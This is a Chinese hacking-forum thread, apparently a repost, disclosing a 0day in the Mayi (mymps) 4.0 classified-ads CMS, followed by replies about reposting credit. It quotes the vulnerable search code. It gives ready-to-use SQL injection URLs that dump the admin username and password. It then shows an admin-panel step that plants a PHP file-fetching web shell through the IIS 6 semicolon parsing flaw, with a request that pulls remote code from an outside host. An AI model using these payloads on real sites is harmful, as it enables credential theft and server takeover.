蚂蚁分类信息系统 0days

本帖最后由 ZhuLiu 于 2011-12-25 15:35 编辑

受影响的厂商:
www.mymps.com.cn
是否通杀:
4.0版本 其他版本为测试

漏洞产生:

\mayi\data\info_posttime.php代码

  1. <?php
  2. 省略.....
  3. $info_posttime = array();
  4. /信息检索的发布时间下拉框选项/
  5. //注意单位为天,一周则为7,一个月则为30,以此类推
  6. $info_posttime[0] = '不限';
  7. $info_posttime[3] = '3天内';
  8. $info_posttime[7] = '一周内';
  9. $info_posttime[30] = '一个月以内';
  10. $info_posttime[90] = '三个月以内';
  11. ?>
    复制代码
    \mayi\search.php代码
  12. 一大推....省略...
  13. $where .= $posttime != '' ? "AND i.begintime >= (".$timestamp."-".$posttime."360024)" : "";
  14. 一大推....省略...
  15. $sql = "SELECT i.id,i.html_path,i.begintime,i.title,i.content,i.ismember,i.contact_who,i.begintime,i.catid,c.catname FROM {$db_mymps}information AS i LEFT JOIN {$db_mymps}category AS c ON i.catid = c.catid WHERE 1 {$where} {$extra_in} ORDER BY i.begintime DESC";
  16. $search['rows_num'] = $rows_num = $db -> getOne("SELECT COUNT(i.id) FROM {$db_mymps}information AS i WHERE 1 {$where} {$extra_in}");//没过滤的带入查询了....
    复制代码
    注入篇:

爆用户:

  1. http://127.0.0.1/info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,uname,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444
    复制代码
    爆密码:
  2. http://127.0.0.1/info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,pwd,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444
    复制代码
    一般前缀是my 完整是my_admin
    如果语句不够长自己加,太长去掉...

后台拿shell篇:

登入后台 > 栏目设置 > 新增栏目

路径存放形式:
自定义目录名
输入:iis60day.php;

栏目内容:

  1. Hey web master,Have a nice day o.O? I hope so! HaHa
  2. <?php
  3. $str=file_get_contents($_GET['url']);
    
  4. echo file_put_contents($_GET['file'],$str);
  5. ?>
    复制代码
    如图:

然后关键在这里了...
扩展 > 生成网站站务 > 选择栏目中选择"关于我们" > 开始生成html

访问
http://路径/html/aboutus/iis60day.php;.html?url=http://*.144.*.*/testsec.php&file=4z1.php

如图:

转载来自 4z1 (黑客小龙)
希望有钱人多给点钱 咱想进工具区啊........

VIP主流我很想说你 这个是 4z1 黑客小龙的t00ls原创你没经过别人允许就乱转载严厉打击~!!1

**回复 2# 晴天小铸 **

{:4_57:}    我现在去跟他们说   急用金币

弱北的问下,输入那么多数是为的溢出?
还是?

{:4_37:}学习了有时间测试下

转载的话也要吧排版弄好点。看看土司的那个 排版多漂亮。

貌似这个出来有一段时间了把

代码请用代码格式。。。。。。。。。。

有时间我也去看看